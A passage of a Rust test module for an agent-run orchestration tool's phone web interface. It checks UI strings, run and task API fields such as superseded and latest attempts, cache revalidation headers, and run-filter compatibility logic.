16412    fn the_upgrade_button_names_its_destination() {
16413        assert!(
16414            APP_JS.contains("`Update to ${update.to}`"),
16415            "pressing the button should not be a surprise about what it moves to"
16416        );
16417    }
16418
16419    #[test]
16420    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
16421        for stage in ["downloading", "replaced", "parking", "restarting"] {
16422            assert!(
16423                APP_JS.contains(&format!("\"{stage}\"")),
16424                "the phone must be able to tell {stage} apart from the others"
16425            );
16426        }
16427        assert!(APP_JS.contains(".waiting_on"));
16428        // What replaced the bare "Cannot reach magi: Failed to fetch": a
16429        // fetch failing while an upgrade is in flight is not an error, it is
16430        // the sub-second gap `bind_waiting` covers, and it must not be
16431        // reported as one.
16432        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
16433        assert!(APP_JS.contains("reconnects on its own"));
16434    }
16435
16436    #[test]
16437    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
16438        // `Stage::Failed` is terminal on the server and nothing clears it on
16439        // its own - not a fresh start, not time passing - so a full-strip
16440        // takeover for it (the way the busy stages take the strip over,
16441        // correctly, because those are transient) would have hidden
16442        // start/stop/park behind an upgrade notice with no way back short of
16443        // a person editing `upgrade.json` by hand or a later release
16444        // happening to succeed. The failure must instead ride along as a note
16445        // next to whatever control the loop's own state already offers.
16446        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
16447            ..APP_JS.find("function upgrade(").expect("upgrade")];
16448        assert!(
16449            !body.contains(
16450                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
16451            ),
16452            "a failed upgrade must not take the whole strip over the way it used to"
16453        );
16454        assert!(
16455            body.contains("upgradeFailNote"),
16456            "the failure has to reach the loop's own note instead"
16457        );
16458        // `quiet` and `control` are the only two places `loop-why` is set from
16459        // this function's own state; both must carry the note through, or a
16460        // future edit to either one would silently drop it again.
16461        assert_eq!(
16462            body.matches("upgradeFailNote].filter(Boolean).join")
16463                .count(),
16464            2,
16465            "both loop-why writers (quiet and control) must fold the note in"
16466        );
16467    }
16468
16469    #[test]
16470    fn an_overdue_upgrade_eventually_asks_for_a_human() {
16471        // The ceiling has to clear a full hour-long park with room to spare,
16472        // or an ordinary implement wave would be reported as a stuck upgrade.
16473        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
16474        assert!(APP_JS.contains("function upgradeOverdue("));
16475    }
16476
16477    #[test]
16478    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
16479        assert!(
16480            APP_JS.contains("Updated to ${upgradeInfo.to"),
16481            "the operator who asked for the restart wants to know it worked"
16482        );
16483    }
16484
16485    #[test]
16486    fn an_error_is_visible_from_where_the_button_is() {
16487        // The alert used to sit in the flow under the header. On a phone
16488        // scrolled 13 500 px down to a run's action sheet that is off screen,
16489        // so tapping Resume and being told "the loop is running run b455
16490        // right now" looked exactly like a button that did nothing.
16491        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
16492            ..APP_CSS.find(".alert-text").expect(".alert-text")];
16493        assert!(
16494            alert.contains("position: fixed"),
16495            "an error about the thing under your thumb has to be visible from \
16496             where your thumb is: {alert}"
16497        );
16498        assert!(
16499            alert.contains("z-index: 25"),
16500            "above the dock (20) and the run-actions FAB (15), so neither \
16501             buries it: {alert}"
16502        );
16503        assert!(
16504            alert.contains("var(--tap)"),
16505            "and clear of the dock and the home indicator: {alert}"
16506        );
16507        // The FAB sits at the same height on the right. An error that covered
16508        // it would hide the button the operator reaches for next.
16509        assert!(
16510            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
16511            "the FAB's column stays free: {alert}"
16512        );
16513    }
16514
16515    #[tokio::test]
16516    async fn an_older_attempt_says_what_replaced_it() {
16517        let fx = Fixture::start().await;
16518        let q = fx.queue();
16519        let runs = fx.runs();
16520        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16521        write_run(&runs, first, RunStatus::Stalled);
16522        write_run(&runs, second, RunStatus::Blocked);
16523
16524        let mut t = Task::new(
16525            "one task".to_owned(),
16526            "do it".to_owned(),
16527            PathBuf::from("/repo"),
16528            Source::Human,
16529        );
16530        t.runs = vec![first.to_owned(), second.to_owned()];
16531        q.put(&mut t).expect("put");
16532
16533        // Two cards with the same title and no hint which is which was the
16534        // question: "why are there two of the same, one stalled and one
16535        // blocked?" The older one now names its replacement.
16536        let rows = fx.get("/api/runs").await.json();
16537        let by = |short: &str| -> Value {
16538            rows.as_array()
16539                .unwrap()
16540                .iter()
16541                .find(|r| r["short"] == short)
16542                .cloned()
16543                .unwrap_or(Value::Null)
16544        };
16545        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
16546        assert!(
16547            by("bbbb")["superseded_by"].is_null(),
16548            "the latest attempt is not superseded by anything"
16549        );
16550        // Front end: the note has to be rendered, not just carried.
16551        assert!(APP_JS.contains("run.superseded_by"));
16552        assert!(APP_JS.contains("Superseded by"));
16553    }
16554
16555    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
16556        let mut t = Task::new(
16557            "one task".to_owned(),
16558            "do it".to_owned(),
16559            PathBuf::from("/repo"),
16560            Source::Human,
16561        );
16562        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16563        t.status = status;
16564        t
16565    }
16566
16567    #[test]
16568    fn source_link_picks_the_page_that_filed_the_task() {
16569        let agent = |node: &str| Source::Agent {
16570            run: "20260904-014455-ab12".to_owned(),
16571            node: node.to_owned(),
16572        };
16573        let chat = source_link(&agent("chat")).expect("chat link");
16574        assert_eq!(chat.kind, "chat");
16575        assert_eq!(chat.id, "20260904-014455-ab12");
16576        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
16577        let run = source_link(&agent("implement")).expect("run link");
16578        assert_eq!(
16579            (run.kind, run.href.as_str()),
16580            ("run", "#/runs/20260904-014455-ab12")
16581        );
16582        assert_eq!(source_link(&Source::Human), None);
16583        assert_eq!(
16584            source_link(&Source::Issue {
16585                number: 3,
16586                repo: "o/r".to_owned()
16587            }),
16588            None
16589        );
16590        let odd = source_link(&Source::Agent {
16591            run: "a b/c".to_owned(),
16592            node: "chat".to_owned(),
16593        })
16594        .expect("link");
16595        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
16596    }
16597
16598    #[test]
16599    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
16600        assert!(
16601            !APP_JS.contains("src.node === \"chat\""),
16602            "inline href rule is back"
16603        );
16604        assert!(
16605            APP_JS.matches("sourceLinkOf(").count() >= 4,
16606            "helper must serve every page"
16607        );
16608        assert!(
16609            APP_JS.matches("openChatLink(").count() >= 3,
16610            "the run page still needs its explicit chat link"
16611        );
16612        assert!(
16613            !APP_JS.contains("const openChat = el("),
16614            "the Queue card duplicates its source label link again"
16615        );
16616        assert!(
16617            APP_JS.contains("metaKids.push(link ? el(\"a\""),
16618            "the task page must link a chat source label too"
16619        );
16620    }
16621
16622    #[test]
16623    fn task_ref_carries_the_source_link_for_a_chat_task() {
16624        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
16625        t.source = Source::Agent {
16626            run: "20260904-014455-ab12".to_owned(),
16627            node: "chat".to_owned(),
16628        };
16629        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
16630        let v = serde_json::to_value(&out).expect("json");
16631        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
16632        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
16633        assert_eq!(v["source_label"], t.source.label());
16634
16635        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
16636        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
16637            .expect("json");
16638        assert!(v["source_link"].is_null(), "{v}");
16639    }
16640
16641    #[test]
16642    fn task_view_serializes_source_link() {
16643        let mut t = Task::new(
16644            "t".to_owned(),
16645            "t".to_owned(),
16646            PathBuf::from("/repo"),
16647            Source::Agent {
16648                run: "20260901-000000-aaaa".to_owned(),
16649                node: "implement".to_owned(),
16650            },
16651        );
16652        t.runs.clear();
16653        let v = serde_json::to_value(TaskView::from(t)).expect("json");
16654        assert_eq!(v["source_link"]["kind"], "run", "{v}");
16655        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
16656    }
16657
16658    #[tokio::test]
16659    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
16660        let fx = Fixture::start().await;
16661        let runs = fx.runs();
16662        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16663        write_run(&runs, old, RunStatus::Blocked);
16664        write_run(&runs, new, RunStatus::Merged);
16665        let mut t = outcome_task(&[old, new], TaskStatus::Done);
16666        fx.queue().put(&mut t).expect("put");
16667
16668        let view = fx.get(&format!("/api/runs/{old}")).await.json();
16669        let task = &view["task"];
16670        assert_eq!(task["status"], "done");
16671        assert_eq!(task["is_latest"], false);
16672        assert_eq!(task["latest"]["short"], "bbbb");
16673        assert_eq!(task["finished_by"]["id"], new);
16674        assert_eq!(task["finished_by"]["outcome"], "merged");
16675        assert_eq!(task["closed_by_hand"], false);
16676        assert_eq!(view["status"], "blocked", "the run keeps its own status");
16677        assert!(APP_JS.contains("finished_by"));
16678        assert!(APP_JS.contains("superseded by run"));
16679    }
16680
16681    #[tokio::test]
16682    async fn the_latest_run_reports_a_held_task_without_a_successor() {
16683        let fx = Fixture::start().await;
16684        let runs = fx.runs();
16685        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
16686        write_run(&runs, old, RunStatus::Stalled);
16687        write_run(&runs, new, RunStatus::Blocked);
16688        let mut t = outcome_task(&[old, new], TaskStatus::Held);
16689        fx.queue().put(&mut t).expect("put");
16690
16691        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
16692        assert_eq!(task["status"], "held");
16693        assert_eq!(task["is_latest"], true);
16694        assert!(task["latest"].is_null());
16695        assert!(task["finished_by"].is_null());
16696        assert_eq!(task["closed_by_hand"], false);
16697    }
16698
16699    #[tokio::test]
16700    async fn a_direct_run_has_no_task_outcome() {
16701        let fx = Fixture::start().await;
16702        let runs = fx.runs();
16703        let id = "20260901-000000-aaaa";
16704        write_run(&runs, id, RunStatus::Blocked);
16705        let view = fx.get(&format!("/api/runs/{id}")).await.json();
16706        assert!(view["task"].is_null());
16707    }
16708
16709    #[test]
16710    fn task_outcome_does_not_guess_a_finishing_run() {
16711        let a = "20260901-000000-aaaa";
16712        let b = "20260901-000000-bbbb";
16713        let c = "20260901-000000-cccc";
16714        let dir = tempfile::tempdir().expect("tempdir");
16715        write_run(dir.path(), a, RunStatus::Blocked);
16716        write_run(dir.path(), b, RunStatus::VerifiedNoop);
16717        // `c` has no record: unreadable.
16718        let read = |id: &str| read_run(dir.path(), id).ok();
16719        // Neither a blocked run nor a no-op finished the task; the newest run is
16720        // unreadable and still named.
16721        let t = outcome_task(&[a, b, c], TaskStatus::Done);
16722        let out = task_outcome(&t, a, 3, read);
16723        assert!(out.finished_by.is_none());
16724        assert!(out.closed_by_hand);
16725        let latest = out.latest.expect("latest");
16726        assert_eq!(latest.id, c);
16727        assert_eq!(latest.status, None);
16728        assert_eq!(latest.outcome, "record unreadable");
16729
16730        // A Ready run settles the task as done, so it is named as the finisher.
16731        write_run(dir.path(), c, RunStatus::Ready);
16732        let t = outcome_task(&[a, c], TaskStatus::Done);
16733        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
16734        assert_eq!(out.finished_by.expect("finisher").id, c);
16735        assert!(!out.closed_by_hand);
16736
16737        // A resumed run id repeats: it is still the latest by id.
16738        let t = outcome_task(&[a, b, a], TaskStatus::Held);
16739        assert!(task_outcome(&t, a, 3, read).is_latest);
16740    }
16741
16742    #[tokio::test]
16743    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
16744        // The list route has known this since the card fix above; the detail
16745        // route — what an operator actually opens from a notification about
16746        // a blocked run — did not, and went on showing a bare red BLOCKED
16747        // chip for a run a retry had already finished.
16748        let fx = Fixture::start().await;
16749        let q = fx.queue();
16750        let runs = fx.runs();
16751        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
16752        write_run(&runs, first, RunStatus::Blocked);
16753        write_run(&runs, second, RunStatus::Merged);
16754
16755        let mut t = Task::new(
16756            "one task".to_owned(),
16757            "do it".to_owned(),
16758            PathBuf::from("/repo"),
16759            Source::Human,
16760        );
16761        t.runs = vec![first.to_owned(), second.to_owned()];
16762        q.put(&mut t).expect("put");
16763
16764        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
16765        assert_eq!(earlier["superseded_by"], "dddd");
16766        assert_eq!(earlier["latest_attempt"]["id"], second);
16767        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
16768        assert_eq!(
16769            earlier["latest_attempt"]["resolved"], true,
16770            "the run that replaced it landed, so this one reads as settled"
16771        );
16772
16773        let later = fx.get(&format!("/api/runs/{second}")).await.json();
16774        assert!(
16775            later["superseded_by"].is_null(),
16776            "the latest attempt is not superseded by anything"
16777        );
16778        assert!(
16779            later["latest_attempt"].is_null(),
16780            "the latest attempt has no later attempt of its own"
16781        );
16782
16783        // Front end: the detail page has to read the field this route now
16784        // carries, downgrade the chip, and link to the run that replaced it —
16785        // not just repeat the list card's own logic under a different name.
16786        // The link is built off `latest_attempt.id`, the server-resolved
16787        // full id, never a bare short string a client would have to guess a
16788        // full run from.
16789        assert!(APP_JS.contains("run.latest_attempt"));
16790        assert!(APP_JS.contains("data-superseded"));
16791        assert!(APP_JS.contains("#/runs/${latest.id}"));
16792    }
16793
16794    #[tokio::test]
16795    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
16796        // A -> B -> C, all Blocked except the last. A's immediate successor
16797        // (superseded_by) is B, which is itself unresolved; what an operator
16798        // opening A's page actually needs is where the task's story stands
16799        // *now* - C, not B - without depending on whether C happens to be in
16800        // whatever page of /api/runs the client last cached.
16801        let fx = Fixture::start().await;
16802        let q = fx.queue();
16803        let runs = fx.runs();
16804        let (a, b, c) = (
16805            "20260901-000000-aaaa",
16806            "20260901-000000-bbbb",
16807            "20260901-000000-cccc",
16808        );
16809        write_run(&runs, a, RunStatus::Blocked);
16810        write_run(&runs, b, RunStatus::Blocked);
16811        write_run(&runs, c, RunStatus::Merged);
16812
16813        let mut t = Task::new(
16814            "retried twice".to_owned(),
16815            "do it".to_owned(),
16816            PathBuf::from("/repo"),
16817            Source::Human,
16818        );
16819        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
16820        q.put(&mut t).expect("put");
16821
16822        let view = fx.get(&format!("/api/runs/{a}")).await.json();
16823        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
16824        assert_eq!(
16825            view["latest_attempt"]["id"], c,
16826            "the chain's current head, not the intermediate Blocked retry"
16827        );
16828        assert_eq!(view["latest_attempt"]["resolved"], true);
16829
16830        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
16831        assert_eq!(mid["latest_attempt"]["id"], c);
16832        assert_eq!(mid["latest_attempt"]["resolved"], true);
16833    }
16834
16835    #[tokio::test]
16836    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
16837        let fx = Fixture::start().await;
16838        let q = fx.queue();
16839        let runs = fx.runs();
16840
16841        // Still Blocked: the task is not resolved, so the older run must not
16842        // read as settled either.
16843        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
16844        write_run(&runs, still_blocked_a, RunStatus::Blocked);
16845        write_run(&runs, still_blocked_b, RunStatus::Blocked);
16846        let mut t1 = Task::new(
16847            "still stuck".to_owned(),
16848            "do it".to_owned(),
16849            PathBuf::from("/repo"),
16850            Source::Human,
16851        );
16852        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
16853        q.put(&mut t1).expect("put");
16854        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
16855        assert_eq!(view1["latest_attempt"]["resolved"], false);
16856        assert_eq!(view1["latest_attempt"]["status"], "blocked");
16857        assert_eq!(view1["latest_attempt"]["done"], true);
16858
16859        // Still running: the successor exists and must be reported as such.
16860        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
16861        write_run(&runs, run_a, RunStatus::Blocked);
16862        write_run(&runs, run_b, RunStatus::Implementing);
16863        let mut t3 = Task::new(
16864            "retrying".to_owned(),
16865            "do it".to_owned(),
16866            PathBuf::from("/repo"),
16867            Source::Human,
16868        );
16869        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
16870        q.put(&mut t3).expect("put");
16871        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
16872        assert_eq!(view3["latest_attempt"]["id"], run_b);
16873        assert_eq!(view3["latest_attempt"]["resolved"], false);
16874        assert_eq!(view3["latest_attempt"]["done"], false);
16875
16876        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
16877        // to check - not a confirmed finish, so this must not read as
16878        // resolved either, even though the run is done in the sense that
16879        // nothing is still running.
16880        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
16881        write_run(&runs, noop_a, RunStatus::Blocked);
16882        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
16883        let mut t2 = Task::new(
16884            "claims done".to_owned(),
16885            "do it".to_owned(),
16886            PathBuf::from("/repo"),
16887            Source::Human,
16888        );
16889        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
16890        q.put(&mut t2).expect("put");
16891        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
16892        assert_eq!(
16893            view2["latest_attempt"]["resolved"], false,
16894            "an unverified no-op claim must not read as a confirmed finish"
16895        );
16896
16897        // Front end: an unresolved successor must not carry the "finished
16898        // this work" note or the muted chip treatment.
16899        assert!(APP_JS.contains("latest.resolved"));
16900        // ...but the link to it shows as soon as it exists, labelled by state
16901        // and without the "finished" wording or the muted chip.
16902        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
16903        assert!(APP_JS.contains("Latest attempt: "));
16904        assert!(APP_JS.contains("in flight"));
16905        assert!(APP_JS.contains("not resolved"));
16906    }
16907
16908    #[tokio::test]
16909    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
16910        let fx = Fixture::start().await;
16911        // No cache header at all meant browsers invented their own policy,
16912        // and one did: a phone went on showing "Candidates must be folded
16913        // before deleting. Run `magi fold` first." - deleted two releases
16914        // earlier - from a deck that no longer contained the sentence. The
16915        // button it named was right there, and unreachable.
16916        let js = fx.get("/app.js").await;
16917        assert_eq!(js.status, 200);
16918        let tag = js
16919            .header("etag")
16920            .expect("an etag to revalidate against")
16921            .to_owned();
16922        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
16923        assert_eq!(
16924            js.header("cache-control"),
16925            Some("no-cache, must-revalidate"),
16926            "the phone has to ask every time"
16927        );
16928
16929        // And the asking has to be cheap, or `must-revalidate` just means
16930        // "send the whole interface on every load".
16931        let again = fx
16932            .get_with("/app.js", &[("if-none-match", tag.as_str())])
16933            .await;
16934        assert_eq!(
16935            again.status, 304,
16936            "a deck it already has costs one round trip"
16937        );
16938        assert!(again.body.is_empty(), "304 carries no body");
16939
16940        // A weakened tag from a proxy still matches; a different build does
16941        // not, which is the case that has to deliver the new interface.
16942        let weak = fx
16943            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
16944            .await;
16945        assert_eq!(weak.status, 304);
16946        let stale = fx
16947            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
16948            .await;
16949        assert_eq!(stale.status, 200, "an older build must be replaced");
16950        assert!(stale.body.contains("renderRunActions"));
16951    }
16952
16953    #[test]
16954    fn the_task_detail_has_an_actions_fab_and_sheet() {
16955        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
16956        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
16957        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
16958        // Shown only on the task route, closed everywhere else.
16959        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
16960        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
16961        // Refreshed whenever the detail redraws, including the loading state.
16962        assert!(APP_JS.contains("renderTaskActions(task);"));
16963        assert!(APP_JS.contains("renderTaskActions(null);"));
16964        // Same renderers and routes as the Queue card, no new endpoint.
16965        let sheet = APP_JS
16966            .find("function renderTaskActions")
16967            .expect("sheet renderer");
16968        let body = &APP_JS[sheet..sheet + 3000];
16969        assert!(body.contains("changePriority("));
16970        assert!(body.contains("openTaskEdit(task)"));
16971        assert!(body.contains("renderTaskHoldBox(host"));
16972        assert!(body.contains("renderTaskDoneBox(host"));
16973        assert!(body.contains("renderTaskDeleteBox(host"));
16974        assert!(APP_JS.contains("API.priority(id)"));
16975        assert!(APP_JS.contains("API.deleteTask(id)"));
16976        // A deleted task sends the operator back to the queue.
16977        assert!(APP_JS.contains("location.hash = \"#/queue\""));
16978        // A refusal is shown inside the sheet.
16979        assert!(APP_JS.contains("$(\"task-actions-error\")"));
16980    }
16981
16982    #[test]
16983    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
16984        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
16985        let actions = INDEX_HTML
16986            .find("id=\"run-actions-box\"")
16987            .expect("actions box");
16988        assert!(task < actions, "the task entry comes first in the sheet");
16989        assert!(APP_JS.contains("renderRunTaskEntry"));
16990        assert!(APP_JS.contains("\"Open task \""));
16991        // A run without a task says why there is nothing to open.
16992        assert!(APP_JS.contains("started directly, no task"));
16993        assert!(APP_JS.contains("sheet-task-link"));
16994        assert!(APP_JS.contains("task-chip-link"));
16995    }
16996
16997    #[test]
16998    fn the_deck_never_sends_the_operator_to_a_terminal() {
16999        // The whole point of the phone UI is that a terminal is not needed.
17000        // The delete control used to answer with "Run `magi fold` first."
17001        assert!(
17002            !APP_JS.contains("Run `magi fold` first"),
17003            "the deck must offer the fold, not prescribe a shell command"
17004        );
17005        assert!(APP_JS.contains("foldRun:"));
17006        assert!(APP_JS.contains("resumeRun:"));
17007        assert!(APP_JS.contains("renderRunActions"));
17008
17009        // Folding is destructive and armed in two steps, like deleting.
17010        assert!(APP_JS.contains("armedFold"));
17011        assert!(APP_JS.contains("Yes, fold worktrees"));
17012
17013        // And the copy has to say that the two actions are opposites, because
17014        // folding throws away exactly what a resume would continue from.
17015        assert!(APP_JS.contains("can no longer be resumed"));
17016    }
17017
17018    #[test]
17019    fn a_finished_run_explains_itself_with_its_own_last_line() {
17020        // The deck used to answer "why did this stop?" with a sentence chosen
17021        // by status alone. Run e633 stalled because two judges answered with
17022        // the wrong JSON shape and its card said "The panel collapsed on
17023        // agent quota" - with `quota: []` in the record and a quota-loss
17024        // counter right above it that correctly said nothing.
17025        assert!(
17026            !APP_JS.contains("collapsed on agent quota"),
17027            "a stall must not be explained by a cause the deck did not check"
17028        );
17029        assert!(
17030            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
17031            "and a block must not offer a guess with an `or` in it"
17032        );
17033
17034        // The reason it does have is `run.event`, which must reach finished
17035        // runs: gating it on movement hid the recorded truth at the one moment
17036        // the operator is reading the card to find out what happened.
17037        assert!(
17038            APP_JS.contains("setText(r.event, run.event || \"\")"),
17039            "the run's last line is rendered unconditionally"
17040        );
17041        assert!(
17042            !APP_JS.contains("moving && run.event"),
17043            "and never gated on the run still moving"
17044        );
17045
17046        // Quota keeps its own counter, fed by the number actually recorded.
17047        assert!(APP_JS.contains("lost to quota"));
17048    }
17049
17050    /// The runs tree (section) and the state chips (waiting/done) are two
17051    /// independent lenses ANDed together in `renderRuns`, and some pairings
17052    /// can never both be true for any run - every "Landed"/"Ended" run is
17053    /// done by construction, so pairing either with "Active" or "In flight"
17054    /// always rendered zero cards with the filter bar still claiming
17055    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
17056    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
17057    /// a handful of (waiting, status) shapes standing in for the run
17058    /// lifecycle, because `cargo test` cannot execute the front end.
17059    ///
17060    /// That stand-in list is itself the part that drifted twice in review:
17061    /// once shipped with `waiting: true` paired with a done status the
17062    /// lifecycle cannot produce, then over-corrected into treating every
17063    /// waiting run as never done - which made "Waiting on you" look
17064    /// incompatible with "Done" even for the one real, reachable shape
17065    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
17066    /// that combination. This test parses the shapes and the done-rule back
17067    /// out of `APP_JS`, reimplements `runSection` and the five state
17068    /// predicates independently in Rust, and checks the resulting
17069    /// section/filter compatibility table against the lifecycle rules by
17070    /// hand - so either direction of drift fails it again.
17071    #[test]
17072    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
17073        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
17074        let shapes_body_start =
17075            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
17076        let shapes_close = APP_JS[shapes_body_start..]
17077            .find("].map(")
17078            .expect("the shape list is closed by its done-computing .map(...)")
17079            + shapes_body_start;
17080        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
17081
17082        let mut shapes: Vec<(bool, String, bool)> = Vec::new();
17083        for entry in shapes_src.split('{').skip(1) {
17084            let waiting = entry.contains("waiting: true");
17085            let dead = entry.contains("live: \"dead\"");
17086            let status_at =
17087                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
17088            let status_end = entry[status_at..]
17089                .find('"')
17090                .expect("the status string is closed")
17091                + status_at;
17092            shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
17093        }
17094        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
17095
17096        // The done rule itself (`!["implementing"].includes(shape.status)`),
17097        // read out of the source rather than hardcoded, so a renamed
17098        // in-flight status can't silently make every parsed shape "done".
17099        let done_rule_marker = "done: !";
17100        let done_rule_at = APP_JS[shapes_close..]
17101            .find(done_rule_marker)
17102            .expect("the done rule follows the shape list")
17103            + shapes_close
17104            + done_rule_marker.len();
17105        let includes_at = APP_JS[done_rule_at..]
17106            .find(".includes(shape.status)")
17107            .expect("the done rule ends in .includes(shape.status)")
17108            + done_rule_at;
17109        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
17110            .trim()
17111            .trim_start_matches('[')
17112            .trim_end_matches(']')
17113            .split(',')
17114            .map(|s| s.trim().trim_matches('"'))
17115            .filter(|s| !s.is_empty())
17116            .collect();
17117
17118        let shapes: Vec<(bool, String, bool, bool)> = shapes
17119            .into_iter()
17120            .map(|(waiting, status, dead)| {
17121                let done = !not_done.contains(&status.as_str());
17122                (waiting, status, dead, done)
17123            })
17124            .collect();
17125
17126        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
17127        // outright, then merged/ready land, stalled/blocked/failed/
17128        // verified_noop end, and everything else is still in flight.
17129        fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
17130            if waiting {
17131                return "waiting";
17132            }
17133            if dead
17134                && !matches!(
17135                    status,
17136                    "merged"
17137                        | "ready"
17138                        | "stalled"
17139                        | "blocked"
17140                        | "failed"
17141                        | "verified_noop"
17142                        | "superseded"
17143                        | "already_in_base"
17144                )
17145            {
17146                return "stale";
17147            }
17148            match status {
17149                "merged" | "ready" => "landed",
17150                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
17151                | "already_in_base" => "ended",
17152                _ => "flight",
17153            }
17154        }
17155
17156        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
17157        // way.
17158        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
17159            match filter_key {
17160                "active" => !done,
17161                "flight" => !done && !waiting && !dead,
17162                "stale" => !done && !waiting && dead,
17163                "waiting" => waiting,
17164                "done" => done,
17165                "all" => true,
17166                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
17167            }
17168        }
17169
17170        let compatible = |section: &str, filter_key: &str| {
17171            shapes.iter().any(|(waiting, status, dead, done)| {
17172                run_section(*waiting, status, *dead) == section
17173                    && filter_matches(filter_key, *waiting, *dead, *done)
17174            })
17175        };
17176
17177        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
17178        // (active, flight, stale, waiting, done, all) - hand-derived from the
17179        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
17180        // currently contains.
17181        let expected = [
17182            ("waiting", [true, false, false, true, true, true]),
17183            ("stale", [true, false, true, false, false, true]),
17184            ("flight", [true, true, false, false, false, true]),
17185            ("landed", [false, false, false, false, true, true]),
17186            ("ended", [false, false, false, false, true, true]),
17187        ];
17188        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
17189
17190        for (section, wants) in expected {
17191            for (filter_key, want) in filter_keys.iter().zip(wants) {
17192                assert_eq!(
17193                    compatible(section, filter_key),
17194                    want,
17195                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
17196                );
17197            }
17198        }
17199
17200        // The compatibility check exists only to be acted on: both pickers
17201        // must actually consult it rather than just render its answer.
17202        assert!(
17203            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
17204        );
17205        assert!(APP_JS.contains(
17206            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
17207        ));
17208        assert!(APP_JS.contains(
17209            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
17210        ));
17211    }
17212
17213    #[tokio::test]
17214    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
17215        // An operator-named directory - git checkout or not - is never
17216        // second-guessed, even when it does not exist at all: only the
17217        // flag's own unmodified `.` default is ever eligible for discovery.
17218        let dir = tempfile::tempdir().expect("tempdir");
17219        let explicit = dir.path().join("not-a-checkout");
